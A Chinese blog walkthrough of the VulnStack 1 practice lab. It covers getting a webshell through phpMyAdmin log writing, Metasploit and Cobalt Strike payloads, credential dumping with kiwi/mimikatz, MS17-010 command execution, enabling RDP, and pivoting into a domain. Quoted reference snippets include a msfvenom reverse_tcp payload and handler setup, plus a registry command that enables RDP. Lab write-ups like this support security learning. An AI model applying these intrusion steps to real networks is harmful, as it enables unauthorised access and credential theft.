[Klee-CTF] VulnStack 靶场实战一 (1) | 果果说

果果说

找不到路，就自己走一条出来。

Search

[Klee-CTF] VulnStack 靶场实战一 (1)

2023-4-9

| 2023-6-12

Words≈0 | Read Time ≈ 0 min

type

status

date

slug

summary

tags

category

icon

password

虚拟机配置信息收集爆破PHPMyAdmin/MySQL密码尝试写入shell 写Shell 另一种方法布置木马使用MSF生成被控端并上线提权至system 转移进程获取密码搭建代理允许远程桌面并关闭防火墙扫描内网使用kiwi 提取信息利用永恒之蓝漏洞新增用户启用本机3389 启动内网其他机器的3389端口使用Cobalt Strike来横向使用 Metasploit 联动（CS→Metasploit）frp保活不出网上线CS 扫描内网其他机器尝试上线不出网的内网主机参考资料靶场下载其他工具

虚拟机配置

一开始不知道怎么配置网络，直到参考了别人的文档，发现得特意配置，其中Win7负责连接内网和外网，Win2003和Win2008负责连接内网作为域成员，具体网络配置参考参考资料一，也就是Windows 7、Windows Server 2008、Windows Server 2003的网络适配器1都配置为仅主机模式，而Windows 7的网络适配器2配置为NAT模式，允许连接外网，其中网络适配器1的网段修改为192.168.52.0/24

登录后提示密码已过期，修改为 Qwer1234！

Windows 7 的密码又过期了，改为 Qwer1234!@

Windows Server 2003是受Windows Server 2008域控的，所以修改完Windows Server 2008的密码以后，登录2003就会自动变更密码

启用phpstudy，可正常访问，环境搭建完毕。

notion image

由于我的攻击机有Hyper-V也有VMWare，所以在Hyper-V共享一下网络，也就是在这里设置一下外部网络然后选上VMware VMNet8，虽然有点诡异但是能用

notion image

~~差生文具多~~，在我的Manjaro上安装一下blackarch，一切准备就绪

信息收集

按照目前我所能了解到的收集信息的方法，先进行一波扫描，使用的工具分别为：Goby、fscan

goby扫描以后，发现有MySQL的3306端口打开了，同时发现有一个80端口提供的HTTP服务

notion image

使用超级弱口令检查工具进行扫描，发现很快啊，一个没检查出

使用dbeaver进行连接检查，发现无法连接到MySQL服务，看来是白名单ip了

notion image

使用 dirsearch 进行扫描，发现存在有phpinfo.php，还有phpmyAdmin暴露

notion image

爆破PHPMyAdmin/MySQL密码

发现了PHPMyAdmin以后，可以进行爆破，

想通过PHPMyAdmin爆破，但是PHPMyAdmin似乎有token之类的东西不允许多次使用，但是探针可以多次尝试，所以用探针尝试爆破

查看这个的长度确实和其他不一样，密码就是它了

notion image

发现账号密码为root/root，进入后台

尝试写入shell

notion image

发现secure_file_priv为NULL，不能写入

执行

notion image

我们刚刚还扫到一个phpinfo，那肯定就有php的目录，看看去

notion image

很明显这个就是目录

我们打开日志目录，并且改变日志的路径

notion image

notion image

已经安排成功了捏，访问一下试试

notion image

雀食

写Shell

打开AntSword，写Shell试试

访问一下 /test2.php （因为test.php写的时候忘记写分号了，写坏一个文件，上面改一下test2就行

notion image

antsword添加一下，测试成功连接

notion image

虚拟终端看一下，发现用户是Administrator

notion image

另一种方法

不过看了一下别人的做法，发现自己用dirsearch并没有扫出备份文件，上去看了一下人家叫beifen.rar，也怪自己字典不够充足，于是下了个御剑扫描试了一下

notion image

但是用御剑没扫出phpinfo.php，哪位有比较好用的字典可以推荐一下（逃

在config.php里面可以看到密码是root

notion image

不过看到这个cms名称，可以尝试一下访问 /yxcms ，发现雀食有点东西（虽然我完全没想到

notion image

同时有默认账号密码，输入 http://172.16.250.130/yxcms/index.php?r=admin/index/login 进入后台

notion image

这里也有SQL执行功能，也可以改到shell上

notion image

或者使用模板编辑功能插入shell

notion image

经过和备份文件的比对，可以确定文件夹应该在 \yxcms\protected\apps\default\view，访问

/yxcms/protected/apps/default/view/default/test.php

拿到shell文件地址

布置木马

这一块其实我也不是很懂，但是以学习为目的，就参考别人的教程跟着一起试试

使用MSF生成被控端并上线

安装好metasploit后，生成密码并通过antsword放上去

连接好了以后，就可以依葫芦画瓢地执行一下了

将刚才生成的木马放到目录种，然后再执行一下

notion image

上线了

提权至system

执行sessions 1恢复到session，然后使用getsystem看看能不能提权到system

转移进程

由于所使用的kiwi默认加载32位，需要先查看系统进程列表，再迁移到64位进程中，这里我们转移到PID位396的进程csrss.exe中

获取密码

输入creds_all，获取到密码是Qwer1234

搭建代理

可以使用自动路由，也可以指定路由添加，不过这里注意要使用route add来添加路由的话，确保自己处于msfconsole而不是meterpreter

然后我们来创建一个socks代理服务器

允许远程桌面并关闭防火墙

然后尝试进行连接，注意域写 GOD\Administrator ，密码写 Qwer1234

然后就成功登录了

notion image

扫描内网

使用 arp_scanner 来使用ARP扫描内网，先search再use，然后options查属性

notion image

notion image

udp sweep也可以用来扫描

notion image

设置自动路由

notion image

搜索ms17_010，设置RHOSTS为192.168.52.0/24，将THREADS设大一点

notion image

notion image

搜索到两台其他机器

使用kiwi 提取信息

在session中，可以使用 load kiwi 来加载kiwi，然后使用 creds_all 拿到凭据

notion image

目前我们可以拿到这些信息

利用永恒之蓝漏洞新增用户

不知道为啥用 ms17_010 的漏洞没办法新增sessions，但是可以执行命令，没办法，直接进行命令执行吧

先给存在漏洞的机器新增一个用户，明确一下命令先

set RHOSTS 192.168.52.138，set COMMAND whoami，看看权限

nt authority\system ，很好，可以继续玩

启用本机3389

直接 search enable_rdp，然后show options 看一下选项设置一下，直接run就行

启动内网其他机器的3389端口

3389端口都没有开起来，需要用命令给它开起来

奇怪的是，我使用了下面的几种方法都没有开起来，使用netstat -an还是没有开启3389端口

解决了。。。解决方法很弱智，加个单引号就好了。。。

【红日安全-VulnStack】ATT&CK实战系列——红队实战(—) - yokan - 博客园 (cnblogs.com)

因为使用了msf的代理以后不能用反向代理，所以我们只能用 ms17_010_command。

但下面说了，可以使用windows/meterpreter/bind_tcp 用作正向，可以试试，但是我怎么横都横不过去，算了，还是直接暴力上传木马手动打开吧=_=

（由于一段时间没搞了，密码改了 Qwer233!）

好有年代感的跨年代会和

notion image

使用Cobalt Strike来横向

有时候使用Cobalt Strike这种可视化工具会比较方便，所以可以使用这种工具来横向。

具体部署教程见 Cobalt Strike 的简易服务端客户端配置教程 | 果果说 (guo.moe)

但是这样用不了VPN模式，可以用socks模式

使用 Metasploit 联动（CS→Metasploit）

输入msfconsole启动，然后进行如下设置

在 Cobalt Strike 中进行设置，注意要设置Foreign HTTP

notion image

notion image

在beacon中输入 spawn msf，然后在msfconsole这里收到消息

notion image

notion image

CS可以在beacon前面加shell来执行shell，写入hashdump可以读内存密码，logonpasswords可以读注册表密码

frp保活

下好frp丢上去保活，一看已经上线了

notion image

不出网上线CS

由于其他两台机器是不出网的，而我们只能拿到一台机器mimikatz的哈希密码，我们可以尝试用这凭据来进行喷洒对其他主机进行链接上线。

扫描内网其他机器

由于我们之前已经拿到了域GOD.ORG的哈希密码，可以先进行一波portscan，看看其他主机是否在域控范围内。

notion image

notion image

选择特定的内网，然后进行内网扫描，就能在Target Table看到对应的主机，接下来就可以用获取到的密码进行喷洒上线了

尝试上线不出网的内网主机

首先新建一个监听器

notion image

然后切换视图

notion image

notion image

notion image

重复操作，三台主机都可上线~（注意32位的Windows Server 2003不能用psexec64，要记得换回去）

notion image

最终的上线图

notion image

参考资料

Vulnstack红日安全内网域渗透靶场1实战_Tr0e的博客-CSDN博客_红日内网靶场

文章目录前言靶场搭建外网打点MySQL写日志GetshellCMS后台上传GetShell内网渗透靶机CS后门上线内网域信息的收集前言VulnStack 是由红日安全团队倾力打造一个靶场知识平台。为了进一步学习内网渗透，本文将学习并记录红日安全团队提供的一个内网域环境靶场的渗透过程。靶场搭建在线靶场链接如下：1、下载后为 3 ...

https://blog.csdn.net/weixin_39190897/article/details/118353886

Vulnstack红日安全内网域渗透靶场1实战_Tr0e的博客-CSDN博客_红日内网靶场

Mysql的getshell与提权总结

满足条件：官方文档： SELECT ... INTO OUTFILE writes the selected rows to a file. Column and line terminators can be specified to produce a specific output format. The SELECT ... INTO OUTFILE 'file_name' form of SELECT writes the selected rows to a file.

https://a2u13.com/2020/03/06/Mysql%E7%9A%84getshell%E4%B8%8E%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/

Mysql的getshell与提权总结

MSF生成被控端并上线 - Yangsir34 - 博客园

被控端生成：msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.5.139 LPORT=2345 -f exe > /root/yangtest.exe msf配置如下当被控端运行后即可上线：msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC

https://www.cnblogs.com/Yang34/p/12349475.html

MSF生成被控端并上线 - Yangsir34 - 博客园

msf添加路由及socks5代理_山山而川'的博客-CSDN博客_msf添加路由

如下拓扑图，win7可以访问互联网，而win2016不能访问互联网。这里我们将win7的shell弹到公网vps的msf上。因为win2016不出网，我们如何在msf上使用其他工具访问win2016了 win7的shell如下查看当前的网段信息 sessions -i 1 shell ipconfig 我们可以看到有两个网段，下面对10这个网段进行探测在使用msf探测各网段主机信息时，我们需要先添加通往各网段的路由，这样msf才知道怎么走。我们可以添加自动路由，或者指定路由添加，我们先进入meterpreter的shell run post/multi/manage/autoroute #查看路由信息 run autoroute -p #添加指定路由，1是接收的session编号 msf6 > route add 192.168.10.0 255.255.255.0 1 然后我们输入 background 暂时退出shell，此时输入如下也可以查看路由表信息这样我们在msf中，用msf自带的模块对内网的主机进行扫描探测，msf会自动将流量送往对应的网段这里其实有一个大问题，通过这种方式做代理转发，只能是msf使用，其它应用无法使用，如果想使用其他应用探测内网如nmap等工具？当然也有办法，就是再加一个socks代理即可。 1. 添加socks代理这里其实就是在我们的vps开启了一个socks代理，监听vps本地的1080端口，然后再通过这个端口将流量转给msf，msf又添加了路由，所以能将流量直接带入到内网中。假设我们需要在vps中使用其他工具探测内网 use auxiliary/server/socks_proxy set SRVHOST 127.0.0.1 #或者默认0.0.0.0 run 2.

https://blog.csdn.net/qq_44159028/article/details/124631522

msf添加路由及socks5代理_山山而川'的博客-CSDN博客_msf添加路由

工具的使用|MSF中mimikatz模块的使用

mimikatz模块的加载 mimikatz模块的使用 mimikatz_command模块的用法 MSF中的mimikatz模块，可以列举出系统中的各种凭据，以及执行一些mimikatz相关的命令。目前，该模块已经更新为功能更全的kiwi模块，传送门：工具的使用 | MSF中kiwi模块的使用使用 mimikatz 模块需要System权限，所以我们在使用该模块之前需要将当前MSF中的shell提升为system。提到system有两个方法，一是当前的权限是administrator用户，二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限。提权到system权限进程迁移 kiwi模块同时支持32位和64位的系统，但是该模块默认是加载32位的系统，所以如果目标主机是64位系统的话，直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的，则必须先查看系统进程列表，然后将meterpreter进程迁移到一个64位程序的进程中，才能加载kiwi并且查看系统明文。如果目标系统是32位的，则没有这个限制。 mimikatz模块的使用加载kiwi模块 load mimikatz 查看kiwi模块的使用 help mimikatz 可以看到mimikatz下有七个命令： kerberos：kerberos相关的模块 livessp：尝试检索livessp凭据 mimikatz_command：运行一个定制的命令 msv：msv凭证相关的模块，列出目标主机的用户密码哈希 ssp：ssp凭证相关的模块 tspkg：tspkg凭证相关的模块 wdigest：wdigest凭证相关的模块 mimikatz_command 模块可以让我们使用mimikatz的全部功能。 mimikatz_command -f mimikatz的命令例如，使用以下命令查看系统中的明文密码 mimikatz_command -f sekurlsa::searchPasswords 未完待续

https://cloud.tencent.com/developer/article/1937040?from=article.detail.1937042&areaSource=106000.1&traceId=MIvK8InJHJ1Qj3JRmM6nE

工具的使用|MSF中mimikatz模块的使用

MSF中kiwi模块的使用_amd6700k的博客-CSDN博客_msf kiwi

使用kiwi模块需要system权限，所以我们在使用该模块之前需要将当前MSF中的shell提升为system。提到system有两个方法，一是当前的权限是administrator用户，二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限。提权到system权限进程迁移加载kiwi模块 ...

https://blog.csdn.net/m0_53087192/article/details/112707016

MSF中kiwi模块的使用_amd6700k的博客-CSDN博客_msf kiwi

Windows下的3389端口渗透

1、Win7、Win2003、XP系统在CMD命令行开启3389端口：REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 在CMD命令行关闭3389端口（将00000000改成11111111即可）： REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f 2、2000系统简要说一下如何进行DNS溢出攻击。我用的溢出利用程序是dns.exe，在CMD下运行它可以看到它的使用参数等信息。执行"dns -s IP"命令检测目标IP是否存在DNS溢出漏洞，若存在则进行溢出攻击，执行"dns -t 2000all IP 1207"后提示要我们检测返回的1100端口的shell。"telnet IP 1100"成功得到返回的cmdshell。注意目录为c:/WINNT/system32，接着我们需要做的是使用"echo"命令写入一个3389.reg注册表文件。将如下代码一行一行地复制到cmdshell窗口后按回车执行： echo Windows Registry Editor Version 5.00 >3389.regecho.

https://www.cnblogs.com/RiwellAckerman/p/11286224.html

MSF之命令笔记篇

0x00 一键式安装 Ubuntu-System 1234cd /optcurl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chm

http://sh1yan.top/2019/07/28/MSF-Command-Notes/

CS与MSF联动互相派生会话

0x01 CS派生会话到msf打开msf，启动 handler监听msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost xxxxxx (本机ip) set lport xxxx exploitCS新建一个外部监听然后…

https://zhuanlan.zhihu.com/p/381754822

CS与MSF联动互相派生会话

域渗透之Vulnstack1 · Yoga7xm's Blog

域渗透之Vulnstack1 · Yoga7xm's Blog

https://yoga7xm.top/2019/11/23/vulnstack1/

利用 TCP 隧道让内网不出网主机上线 MSF - 腾讯云开发者社区-腾讯云

在获得一台内网跳板机权限之后，想让相同内网其他主机上线 MSF，由于只有跳板机可以出网，如何能让其他不出网主机通过跳板机上线 MSF 呢？

https://cloud.tencent.com/developer/article/1974148

内网渗透--对不出网目标的打法 - 先知社区

先知社区，先知安全技术社区

https://xz.aliyun.com/t/9372

不出网主机的几种上线方式-安全客 - 安全资讯平台

安全客 - 安全资讯平台

不出网主机的几种上线方式-安全客 - 安全资讯平台

https://www.anquanke.com/post/id/254671#h3-2

靶场下载

红队实战系列，主要以真实企业环境为实例搭建一系列靶场，通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建，开成完整闭环。后续也会搭建真实APT实战环境，从实战中成长。关于环境可以模拟出各种各样实战路线，目前给出作者实战的一套攻击实战路线如下，虚拟机所有统一密码：hongrisec@2019：二、漏洞利用 3.漏洞搜索与利用 4.后台Getshell上传技巧 5.系统信息收集 6.主机密码收集三、内网搜集 7.内网--继续信息收集 8.内网攻击姿势--信息泄露 9.内网攻击姿势-MS08-067 10.内网攻击姿势-SMB远程桌面口令猜测 11.内网攻击姿势-Oracle数据库TNS服务漏洞 12.内网攻击姿势-RPC DCOM服务漏洞四、横向移动 13.内网其它主机端口-文件读取 14.内网其它主机端口-redis 15.内网其它主机端口-redis Getshell 16.内网其它主机端口-MySQL数据库 17.内网其它主机端口-MySQL提权五、构建通道 18.内网其它主机端口-代理转发六、持久控制 19.域渗透-域成员信息收集 20.域渗透-基础服务弱口令探测及深度利用之powershell 21.域渗透-横向移动[wmi利用] 22.域渗透-C2命令执行 23.域渗透-利用DomainFronting实现对beacon的深度隐藏 24.域渗透-域控实现与利用七、痕迹清理 25、日志清理

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

漏洞详情

其他工具

Windows杀软在线对比辅助-MaiKeFee

https://maikefee.com/av_list

Author:Guoguo
URL:https://guo.moe/archives/VulnStack-1
Copyright:All articles in this blog, except for special statements, adopt BY-NC-SA agreement. Please indicate the source!

Relate Posts :

学习思考

Tags：

学习

运维

网络攻防

理解栈溢出并使用 gdb 来调试 C 语言程序 Cobalt Strike 的简易服务端客户端配置教程

GitTalk

Catalog